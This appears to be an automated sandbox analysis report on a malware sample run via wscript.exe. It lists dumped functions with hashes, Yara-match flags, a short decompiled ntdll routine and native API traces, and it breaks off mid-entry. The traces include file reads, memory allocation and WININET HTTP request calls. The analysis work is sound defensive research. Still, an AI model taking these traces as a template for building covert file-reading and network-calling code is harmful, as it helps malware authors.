Function 00C2A770, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87c2cdb40b08f4e2edfe2c647051299cdb3e66376751bb34f14bd7bd393b727d
Instruction ID: 11189139c478a674d7fd9bfa6f761c0bd8ff8aa725f22ff40a17e63f84207241
Opcode Fuzzy Hash: 87c2cdb40b08f4e2edfe2c647051299cdb3e66376751bb34f14bd7bd393b727d
Instruction Fuzzy Hash: C39002B522504542DA0065597804A87010597D0346F61E421A042459CD86948871F161

Uniqueness

Uniqueness Score: -1.00%

Function 00C2A710, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a73550622dc2a06eff7d150b6fcf31bbe24181c7c21076215309f0390b1b251
Instruction ID: 2c766effe5962d756c5b789a719d28acbce14af5b880c44faa71255c669f9c17
Opcode Fuzzy Hash: 9a73550622dc2a06eff7d150b6fcf31bbe24181c7c21076215309f0390b1b251
Instruction Fuzzy Hash: 219002B1321001529A00A6997804A4A420597F0342F61E025A4014554C85948871A161

Uniqueness

Uniqueness Score: -1.00%

Function 00C29730, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a5f7bd9337682c804f4ac7ccd982c43977c821e47f2188654a90298710283bb
Instruction ID: b0b06b9f760477e2707609e77e6bbdcb5b7dffb5b4dd9a4d4624a683dc5d0074
Opcode Fuzzy Hash: 4a5f7bd9337682c804f4ac7ccd982c43977c821e47f2188654a90298710283bb
Instruction Fuzzy Hash: 699002A162500502D64071597418706011597D0342F61E021A0024554DC6998A65B6E1

Uniqueness

Uniqueness Score: -1.00%

Function 00C29670, Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3d3d3c0123cddb368cc51eab9da9c3aaeeac76cd7bbfae310620ba6f7f49b43
Instruction ID: 58072552ea014f5239610b7d252714b216d00c8d65a1b7c193cfe75a21c291c2
Opcode Fuzzy Hash: a3d3d3c0123cddb368cc51eab9da9c3aaeeac76cd7bbfae310620ba6f7f49b43
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 00C7FDDA, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E00C7FDDA(intOrPtr* __edx, intOrPtr _a4) {
				void* _t7;
				intOrPtr _t9;
				intOrPtr _t10;
				intOrPtr* _t12;
				intOrPtr* _t13;
				intOrPtr _t14;
				intOrPtr* _t15;

				_t13 = __edx;
				_push(_a4);
				_t14 =  *[fs:0x18];
				_t15 = _t12;
				_t7 = E00C2CE00( *__edx,  *((intOrPtr*)(__edx + 4)), 0xff676980, 0xffffffff);
				_push(_t13);
				E00C75720(0x65, 1, "RTL: Enter CriticalSection Timeout (%I64u secs) %d\n", _t7);
				_t9 =  *_t15;
				if(_t9 == 0xffffffff) {
					_t10 = 0;
				} else {
					_t10 =  *((intOrPtr*)(_t9 + 0x14));
				}
				_push(_t10);
				_push(_t15);
				_push( *((intOrPtr*)(_t15 + 0xc)));
				_push( *((intOrPtr*)(_t14 + 0x24)));
				return E00C75720(0x65, 0, "RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u\n",  *((intOrPtr*)(_t14 + 0x20)));
			}

0x00c7fdda
0x00c7fde2
0x00c7fde5
0x00c7fdec
0x00c7fdfa
0x00c7fdff
0x00c7fe0a
0x00c7fe0f
0x00c7fe17
0x00c7fe1e
0x00c7fe19
0x00c7fe19
0x00c7fe19
0x00c7fe20
0x00c7fe21
0x00c7fe22
0x00c7fe25
0x00c7fe40

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00C7FDFA

Strings

RTL: Enter CriticalSection Timeout (%I64u secs) %d, xrefs: 00C7FE01
RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u, xrefs: 00C7FE2B

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: RTL: Enter CriticalSection Timeout (%I64u secs) %d$RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u
API String ID: 885266447-3903918235
Opcode ID: 42a327e9f9fe8c56628eb3170436e88d3c58b58dc64c97a3bd8c8ce164a9fc80
Instruction ID: 88a5d5a3d55efaae925151bd760e0725c00de396db6a47c6af9fc178524108ac
Opcode Fuzzy Hash: 42a327e9f9fe8c56628eb3170436e88d3c58b58dc64c97a3bd8c8ce164a9fc80
Instruction Fuzzy Hash: FCF0F632200641BFD6241A55DC42F23BB6AEB44730F248315F628566E1EAA2FC20A6F0

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: wscript.exe PID: 5884 Parent PID: 3424 wscript.exeCOMMON

Executed Functions

Function 033981BC, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 41filenativeCOMMON

Download Yara Rule

APIs

NtCreateFile.NTDLL(00000060,00000000,.z`,03393B87,00000000,FFFFFFFF,?,?,FFFFFFFF,00000000,03393B87,007A002E,00000000,00000060,00000000,00000000), ref: 0339820D

Strings

.z`, xrefs: 033981FD, 03398208

Memory Dump Source

Source File: 00000005.00000002.901427699.0000000003380000.00000040.00000001.sdmp, Offset: 03380000, based on PE: false

Yara matches

Similarity

API ID: CreateFile
String ID: .z`
API String ID: 823142352-1441809116
Opcode ID: 48272b352bf76a360e5b1b4b0ed325233c23fac394b61d4c2fb3758c1a8e0637
Instruction ID: b74438d7ff9d50b14846495638c7a6858f2ba230075bc4a575fd53e3ef124d70
Opcode Fuzzy Hash: 48272b352bf76a360e5b1b4b0ed325233c23fac394b61d4c2fb3758c1a8e0637
Instruction Fuzzy Hash: F5F0B2B6201108AFCB18CF88DD84EEB37AAAF8C354F158248FA0D97240C630E8518BA0

Uniqueness

Uniqueness Score: -1.00%

Function 033981C0, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 40filenativeCOMMON

Download Yara Rule

APIs

NtCreateFile.NTDLL(00000060,00000000,.z`,03393B87,00000000,FFFFFFFF,?,?,FFFFFFFF,00000000,03393B87,007A002E,00000000,00000060,00000000,00000000), ref: 0339820D

Strings

.z`, xrefs: 033981FD, 03398208

Memory Dump Source

Source File: 00000005.00000002.901427699.0000000003380000.00000040.00000001.sdmp, Offset: 03380000, based on PE: false

Yara matches

Similarity

API ID: CreateFile
String ID: .z`
API String ID: 823142352-1441809116
Opcode ID: 19fa48ade07888cfcca4191431b874d7c75bcaabbd4d52727e7364b5df5f6853
Instruction ID: e278256ea8c94f9954217ad818a884508c8294592b6e136ad01fbd9c1fac761e
Opcode Fuzzy Hash: 19fa48ade07888cfcca4191431b874d7c75bcaabbd4d52727e7364b5df5f6853
Instruction Fuzzy Hash: A1F0B2B2200208ABCB08CF88DC84EEB77ADAF8C754F158248FA0D97240C630E8118BA4

Uniqueness

Uniqueness Score: -1.00%

Function 0339826B, Relevance: 1.5, APIs: 1, Instructions: 37filenativeCOMMON

Download Yara Rule

APIs

NtReadFile.NTDLL(03393D42,5E972F59,FFFFFFFF,03393A01,?,?,03393D42,?,03393A01,FFFFFFFF,5E972F59,03393D42,?,00000000), ref: 033982B5

Memory Dump Source

Source File: 00000005.00000002.901427699.0000000003380000.00000040.00000001.sdmp, Offset: 03380000, based on PE: false

Yara matches

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 7ae012a2390951a3c7021baf9b8c911ce9383421c421807a2fe1b1a5b0d639a8
Instruction ID: 778e368dc6aac800a136c0d8219e9126e019790931f8e362d24e52c80196872b
Opcode Fuzzy Hash: 7ae012a2390951a3c7021baf9b8c911ce9383421c421807a2fe1b1a5b0d639a8
Instruction Fuzzy Hash: BAF0E7B6200104AFCB14CF98DC80EEB77A9AF8C314F118249FA0D97240C630E851CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 03398270, Relevance: 1.5, APIs: 1, Instructions: 36filenativeCOMMON

Download Yara Rule

APIs

NtReadFile.NTDLL(03393D42,5E972F59,FFFFFFFF,03393A01,?,?,03393D42,?,03393A01,FFFFFFFF,5E972F59,03393D42,?,00000000), ref: 033982B5

Memory Dump Source

Source File: 00000005.00000002.901427699.0000000003380000.00000040.00000001.sdmp, Offset: 03380000, based on PE: false

Yara matches

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 1cb0ad745fa17a6b0f92d1251f92e59420b1dcb8c70dd00eb84f7822971f7938
Instruction ID: f5144898155c3ec0376b1a3e8a37619b0f1cccf4804a650015770862cbcf138c
Opcode Fuzzy Hash: 1cb0ad745fa17a6b0f92d1251f92e59420b1dcb8c70dd00eb84f7822971f7938
Instruction Fuzzy Hash: 08F0A4B6200208ABDB14DF89DC80EEB77ADAF8C754F158649BA1D97241DA30E8118BA0

Uniqueness

Uniqueness Score: -1.00%

Function 033983A0, Relevance: 1.5, APIs: 1, Instructions: 30memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(00000004,00003000,00002000,00000000,?,03382D11,00002000,00003000,00000004), ref: 033983D9

Memory Dump Source

Source File: 00000005.00000002.901427699.0000000003380000.00000040.00000001.sdmp, Offset: 03380000, based on PE: false

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: e868ca870ba9ad3aee1a8e1804f154c56992d5df3b6804a08460a29a32ddb2bb
Instruction ID: ea869994880a95fb5f50f194ce303ebf2a3badf9043187d9b9cf9c03f521f712
Opcode Fuzzy Hash: e868ca870ba9ad3aee1a8e1804f154c56992d5df3b6804a08460a29a32ddb2bb
Instruction Fuzzy Hash: 65F015B6200208ABDB14DF89CC80EAB77ADAF88650F118549FE089B241C630F810CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 0339839F, Relevance: 1.5, APIs: 1, Instructions: 27memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(00000004,00003000,00002000,00000000,?,03382D11,00002000,00003000,00000004), ref: 033983D9

Memory Dump Source

Source File: 00000005.00000002.901427699.0000000003380000.00000040.00000001.sdmp, Offset: 03380000, based on PE: false

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: 8378be95586a28fcdba4bf1550d20ece0cb49771410d45c192dc169123aa3f03
Instruction ID: 837fb33e4f94591d9fe356d23f9cc2b1fc8621173ae053812d4f3af4d2e82065
Opcode Fuzzy Hash: 8378be95586a28fcdba4bf1550d20ece0cb49771410d45c192dc169123aa3f03
Instruction Fuzzy Hash: 32F039B6204189ABDB14DF98DCC4CA777A8FF88210B158A5AF9499B202C634E815CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 033982F0, Relevance: 1.5, APIs: 1, Instructions: 20nativeCOMMON

Download Yara Rule

APIs

NtClose.NTDLL(03393D20,?,?,03393D20,00000000,FFFFFFFF), ref: 03398315

Memory Dump Source

Source File: 00000005.00000002.901427699.0000000003380000.00000040.00000001.sdmp, Offset: 03380000, based on PE: false

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: aa41620b67aec822f8463caeb84bd84f714cc802f2fd34de09a1d76353dd2617
Instruction ID: 57df6ec3a1e2f3cffe488733c0219219e5d210b5dd998e3cb92c8a4f4320a827
Opcode Fuzzy Hash: aa41620b67aec822f8463caeb84bd84f714cc802f2fd34de09a1d76353dd2617
Instruction Fuzzy Hash: 44D01276600314ABD710EF98CC85E97775CEF44650F154455BA189B241C530F90087E0

Uniqueness

Uniqueness Score: -1.00%

Function 033982EF, Relevance: 1.5, APIs: 1, Instructions: 20nativeCOMMON

Download Yara Rule

APIs

NtClose.NTDLL(03393D20,?,?,03393D20,00000000,FFFFFFFF), ref: 03398315

Memory Dump Source

Source File: 00000005.00000002.901427699.0000000003380000.00000040.00000001.sdmp, Offset: 03380000, based on PE: false

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: 404a13564392e5064265eb281b7d2a7ba0fb57edaf256388ac9b6c9b7c17bb46
Instruction ID: 19d3bba6445209102173c4c919cec62c4dc9c5cefe86838b9bd6d78f4249460d
Opcode Fuzzy Hash: 404a13564392e5064265eb281b7d2a7ba0fb57edaf256388ac9b6c9b7c17bb46
Instruction Fuzzy Hash: CEE01276640214BFDB14DFA4CC85EEB7B68EF85350F15455AF91DDB242C530E9008BD0

Uniqueness

Uniqueness Score: -1.00%

Function 05489540, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0548954A

Memory Dump Source

Source File: 00000005.00000002.901871458.0000000005420000.00000040.00000001.sdmp, Offset: 05420000, based on PE: true

Associated: 00000005.00000002.902001484.000000000553B000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.902011929.000000000553F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b168fc43420a34a4aace568edfcc6ed8a2207026aef8cdf6a6949650f48cf5dd
Instruction ID: 7ec8b76d6e2a2748e9dea29d377eb70eabbddd0e96833254bbc285949d008825
Opcode Fuzzy Hash: b168fc43420a34a4aace568edfcc6ed8a2207026aef8cdf6a6949650f48cf5dd
Instruction Fuzzy Hash: DC900265611000030509A5590749547046697D5391391C022F1005550CD7618C6161B1

Uniqueness

Uniqueness Score: -1.00%

Function 054895D0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 054895DA

Memory Dump Source

Source File: 00000005.00000002.901871458.0000000005420000.00000040.00000001.sdmp, Offset: 05420000, based on PE: true

Associated: 00000005.00000002.902001484.000000000553B000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.902011929.000000000553F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: cd93ba2e463a3eb5887dee8a8d95fd8fd7e7dd8b5375f3c50b1a433773a7a5e8
Instruction ID: 11bfa04716dbe3fe0be55808d0a360db587f2099efa7224161b81298afe8a6be
Opcode Fuzzy Hash: cd93ba2e463a3eb5887dee8a8d95fd8fd7e7dd8b5375f3c50b1a433773a7a5e8
Instruction Fuzzy Hash: 679002A160200003450971594559656442A97E0241B91C022E1004590DC6658C9171B5

Uniqueness

Uniqueness Score: -1.00%

Function 05489710, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0548971A

Memory Dump Source

Source File: 00000005.00000002.901871458.0000000005420000.00000040.00000001.sdmp, Offset: 05420000, based on PE: true

Associated: 00000005.00000002.902001484.000000000553B000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.902011929.000000000553F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 9ff5786dd62bb9648735e22b2e866b93c1e81983736b731abb27f1aa2fa4b7ad
Instruction ID: a903281028b119f70a7293842716a14874e357ae8fce2051d1c0099c3839acd9
Opcode Fuzzy Hash: 9ff5786dd62bb9648735e22b2e866b93c1e81983736b731abb27f1aa2fa4b7ad
Instruction Fuzzy Hash: C090027160100402D5046599554D686042597E0341F91D012A5014555EC7A58C9171B1

Uniqueness

Uniqueness Score: -1.00%

Function 05489FE0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 05489FEA

Memory Dump Source

Source File: 00000005.00000002.901871458.0000000005420000.00000040.00000001.sdmp, Offset: 05420000, based on PE: true

Associated: 00000005.00000002.902001484.000000000553B000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.902011929.000000000553F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: cfddb7f6fe1d4eaca8aaaeeb73c1c5d59684bae5557a3e13b6255f03862b56cb
Instruction ID: bbab2a189a6ff8d1af2d5a682d8a512dc8c7fb9c1573e2dcaf3cba4522513c14
Opcode Fuzzy Hash: cfddb7f6fe1d4eaca8aaaeeb73c1c5d59684bae5557a3e13b6255f03862b56cb
Instruction Fuzzy Hash: BB90027171114402D51461598549746042597D1241F91C412A0814558D87D58C9171B2

Uniqueness

Uniqueness Score: -1.00%

Function 05489780, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0548978A

Memory Dump Source

Source File: 00000005.00000002.901871458.0000000005420000.00000040.00000001.sdmp, Offset: 05420000, based on PE: true

Associated: 00000005.00000002.902001484.000000000553B000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.902011929.000000000553F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: fa6fd1377ca922477ffbb361b14615e8841f3de7d43350cc83ec7d631feda739
Instruction ID: 120422311b09358be94c1c026d7f9d43cb2a9a6e6bc7a8c2b183b9fe23bbecc8
Opcode Fuzzy Hash: fa6fd1377ca922477ffbb361b14615e8841f3de7d43350cc83ec7d631feda739
Instruction Fuzzy Hash: F190026961300002D5847159554D64A042597D1242FD1D416A0005558CCA558C6963B1

Uniqueness

Uniqueness Score: -1.00%

Function 05489650, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0548965A

Memory Dump Source

Source File: 00000005.00000002.901871458.0000000005420000.00000040.00000001.sdmp, Offset: 05420000, based on PE: true

Associated: 00000005.00000002.902001484.000000000553B000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.902011929.000000000553F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 39cd7da2dd91c1eeeec5167b48f046a46613380e4f62e9a0080e46ed0c48ffb0
Instruction ID: 9d3459e7c377be8238ea7922ac9956fd185cddc36670a31e79eb0de13a9b5a3e
Opcode Fuzzy Hash: 39cd7da2dd91c1eeeec5167b48f046a46613380e4f62e9a0080e46ed0c48ffb0
Instruction Fuzzy Hash: 9390027160504842D54471594549A86043597D0345F91C012A0054694D97658D55B6F1

Uniqueness

Uniqueness Score: -1.00%

Function 05489660, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0548966A

Memory Dump Source

Source File: 00000005.00000002.901871458.0000000005420000.00000040.00000001.sdmp, Offset: 05420000, based on PE: true

Associated: 00000005.00000002.902001484.000000000553B000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.902011929.000000000553F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 3ff25b02e053870d1d1c4cce074c7e90a8a2afb3cd7368231f41d32651394a45
Instruction ID: 034ea32e2d08fbf810f00dd7ae747a1236f3fef1b2cd024fb9b0d743852134ef
Opcode Fuzzy Hash: 3ff25b02e053870d1d1c4cce074c7e90a8a2afb3cd7368231f41d32651394a45
Instruction Fuzzy Hash: C090027160100802D5847159454968A042597D1341FD1C016A0015654DCB558E5977F1

Uniqueness

Uniqueness Score: -1.00%

Function 054896D0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 054896DA

Memory Dump Source

Source File: 00000005.00000002.901871458.0000000005420000.00000040.00000001.sdmp, Offset: 05420000, based on PE: true

Associated: 00000005.00000002.902001484.000000000553B000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.902011929.000000000553F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 936d72c701559bc440029139ad0d819ac6eb1d8c29e0cd2f2c6671693160652e
Instruction ID: c9e4b6a31016036704edddfd3714cb90a1637c9aa95d16bc6f1a62e2dde1a069
Opcode Fuzzy Hash: 936d72c701559bc440029139ad0d819ac6eb1d8c29e0cd2f2c6671693160652e
Instruction Fuzzy Hash: 8390027160100842D50461594549B86042597E0341F91C017A0114654D8755CC5175B1

Uniqueness

Uniqueness Score: -1.00%

Function 054896E0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 054896EA

Memory Dump Source

Source File: 00000005.00000002.901871458.0000000005420000.00000040.00000001.sdmp, Offset: 05420000, based on PE: true

Associated: 00000005.00000002.902001484.000000000553B000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.902011929.000000000553F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 6e3cf33781f88013917d262352a1088193923da1af9e5a68fa9fd268d977d7dc
Instruction ID: 12c21089e26c8ec912232d675fe537ce67cb9805bd8978cca769d36aedb2cc8d
Opcode Fuzzy Hash: 6e3cf33781f88013917d262352a1088193923da1af9e5a68fa9fd268d977d7dc
Instruction Fuzzy Hash: 9190027160108802D5146159854978A042597D0341F95C412A4414658D87D58C9171B1

Uniqueness

Uniqueness Score: -1.00%

Function 05489910, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0548991A

Memory Dump Source

Source File: 00000005.00000002.901871458.0000000005420000.00000040.00000001.sdmp, Offset: 05420000, based on PE: true

Associated: 00000005.00000002.902001484.000000000553B000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.902011929.000000000553F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 567a7c41ad9dc64a3ada3f4af8b761ae49acbcbbb49726c65ff86e0339eb16a2
Instruction ID: e9e8c2976f920a0029eb2f90af216bebcbe1c4e090c42c21eca09a7e64cca3bd
Opcode Fuzzy Hash: 567a7c41ad9dc64a3ada3f4af8b761ae49acbcbbb49726c65ff86e0339eb16a2
Instruction Fuzzy Hash: 6C9002B160100402D54471594549786042597D0341F91C012A5054554E87998DD576F5

Uniqueness

Uniqueness Score: -1.00%

Function 054899A0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 054899AA

Memory Dump Source

Source File: 00000005.00000002.901871458.0000000005420000.00000040.00000001.sdmp, Offset: 05420000, based on PE: true

Associated: 00000005.00000002.902001484.000000000553B000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.902011929.000000000553F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: a4612e0df234e874f26628ae742723ee2f5ee5c55276d4c55651188c5e9e08d1
Instruction ID: 13404de4e44051e6f6c9d396d4090e89c4a20255f30694702bc2ac17e0b90266
Opcode Fuzzy Hash: a4612e0df234e874f26628ae742723ee2f5ee5c55276d4c55651188c5e9e08d1
Instruction Fuzzy Hash: 949002A174100442D50461594559B460425D7E1341F91C016E1054554D8759CC5271B6

Uniqueness

Uniqueness Score: -1.00%

Function 05489840, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0548984A

Memory Dump Source

Source File: 00000005.00000002.901871458.0000000005420000.00000040.00000001.sdmp, Offset: 05420000, based on PE: true

Associated: 00000005.00000002.902001484.000000000553B000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.902011929.000000000553F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 4cc12f048f157510c1755f5f685767f50d8358c5d6601a6d81f506cd9d5416b6
Instruction ID: e049bd29b3046042caa677fc4a821715afdd522a93654d5eefbbb9bff71473fe
Opcode Fuzzy Hash: 4cc12f048f157510c1755f5f685767f50d8358c5d6601a6d81f506cd9d5416b6
Instruction Fuzzy Hash: 21900261642041525949B15945495474426A7E02817D1C013A1404950C86669C56E6B1

Uniqueness

Uniqueness Score: -1.00%

Function 05489860, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0548986A

Memory Dump Source

Source File: 00000005.00000002.901871458.0000000005420000.00000040.00000001.sdmp, Offset: 05420000, based on PE: true

Associated: 00000005.00000002.902001484.000000000553B000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.902011929.000000000553F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 20a6dd7da89ee69f9f13ab8546d5ed5db8afb238e187c27eefcf2ccdfb57c813
Instruction ID: a0ac0b84b1450c67f7cbecfeb20c8e414776eb2b716d6aa931772b66bec1e99a
Opcode Fuzzy Hash: 20a6dd7da89ee69f9f13ab8546d5ed5db8afb238e187c27eefcf2ccdfb57c813
Instruction Fuzzy Hash: 9D90027160100413D51561594649747042997D0281FD1C413A0414558D97968D52B1B1

Uniqueness

Uniqueness Score: -1.00%

Function 05489A50, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 05489A5A

Memory Dump Source

Source File: 00000005.00000002.901871458.0000000005420000.00000040.00000001.sdmp, Offset: 05420000, based on PE: true

Associated: 00000005.00000002.902001484.000000000553B000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.902011929.000000000553F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b7413d5d6394a707f78cc759d615c6c01e170779a2ce18ccf6f9bd54ce7947f0
Instruction ID: c91faa31a2cb88a889e1936407a64f28340ee8198d23d1a8faf3c0b19c397df3
Opcode Fuzzy Hash: b7413d5d6394a707f78cc759d615c6c01e170779a2ce18ccf6f9bd54ce7947f0
Instruction Fuzzy Hash: C190026161180042D60465694D59B47042597D0343F91C116A0144554CCA558C6165B1

Uniqueness

Uniqueness Score: -1.00%

Function 033988D0, Relevance: 15.8, APIs: 1, Strings: 8, Instructions: 48networkCOMMON

Download Yara Rule

APIs

HttpOpenRequestA.WININET(RequestA,OpenRequestA,HttpOpenRequestA,00000000,?,?,?,?,?,?,?,00000000), ref: 03398938

Strings

Open, xrefs: 033988F1
Http, xrefs: 033988EA
HttpOpenRequestA, xrefs: 033988DD, 033988E0
estA, xrefs: 033988FF
OpenRequestA, xrefs: 0339892E, 03398936
HttpOpenRequestA, xrefs: 0339892A, 03398935
RequestA, xrefs: 03398932, 03398937
Requ, xrefs: 033988F8

Memory Dump Source

Source File: 00000005.00000002.901427699.0000000003380000.00000040.00000001.sdmp, Offset: 03380000, based on PE: false

Yara matches

Similarity

API ID: HttpOpenRequest
String ID: Http$HttpOpenRequestA$HttpOpenRequestA$Open$OpenRequestA$Requ$RequestA$estA
API String ID: 1984915467-4016285707
Opcode ID: fea90beabff67b2b567d8da6d4b6fac2dcdbdf4ce93c97183384f69e53b9be53
Instruction ID: 5738efb49ccbd87fcf0805383a2c92bec3c85e4bdf946e1f965d03b591d56b19
Opcode Fuzzy Hash: fea90beabff67b2b567d8da6d4b6fac2dcdbdf4ce93c97183384f69e53b9be53
Instruction Fuzzy Hash: FA01D7B2905159AFDB04DF98D881DEB7BB9EB89210F158289FD48AB204D630AD108BA1

Uniqueness

Uniqueness Score: -1.00%

Function 033988C7, Relevance: 15.8, APIs: 1, Strings: 8, Instructions: 46networkCOMMON

Download Yara Rule

APIs

HttpOpenRequestA.WININET(RequestA,OpenRequestA,HttpOpenRequestA,00000000,?,?,?,?,?,?,?,00000000), ref: 03398938

Strings

Open, xrefs: 033988F1
Http, xrefs: 033988EA
HttpOpenRequestA, xrefs: 033988DD, 033988E0
estA, xrefs: 033988FF
OpenRequestA, xrefs: 0339892E, 03398936
HttpOpenRequestA, xrefs: 0339892A, 03398935
RequestA, xrefs: 03398932, 03398937
Requ, xrefs: 033988F8

Memory Dump Source

Source File: 00000005.00000002.901427699.0000000003380000.00000040.00000001.sdmp, Offset: 03380000, based on PE: false

Yara matches

Similarity

API ID: HttpOpenRequest
String ID: Http$HttpOpenRequestA$HttpOpenRequestA$Open$OpenRequestA$Requ$RequestA$estA
API String ID: 1984915467-4016285707
Opcode ID: 860a612e7386975190995635a220092b3b96e35d710087d54ec7ae21b32a900a
Instruction ID: f030995dbfdf7a0fb90a7ed8a1067aaf97f43e9787709a94059de63a30e95c02
Opcode Fuzzy Hash: 860a612e7386975190995635a220092b3b96e35d710087d54ec7ae21b32a900a
Instruction Fuzzy Hash: 240129B2905148AFCB04DF88CC85EEF7BB9EB89350F158258FD09AB204D730AD11CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 03398950, Relevance: 15.8, APIs: 1, Strings: 8, Instructions: 42networkCOMMON

Download Yara Rule

APIs

HttpSendRequestA.WININET(RequestA,SendRequestA,HttpSendRequestA,00000000,?,?,?,?,00000000), ref: 033989AC

Strings

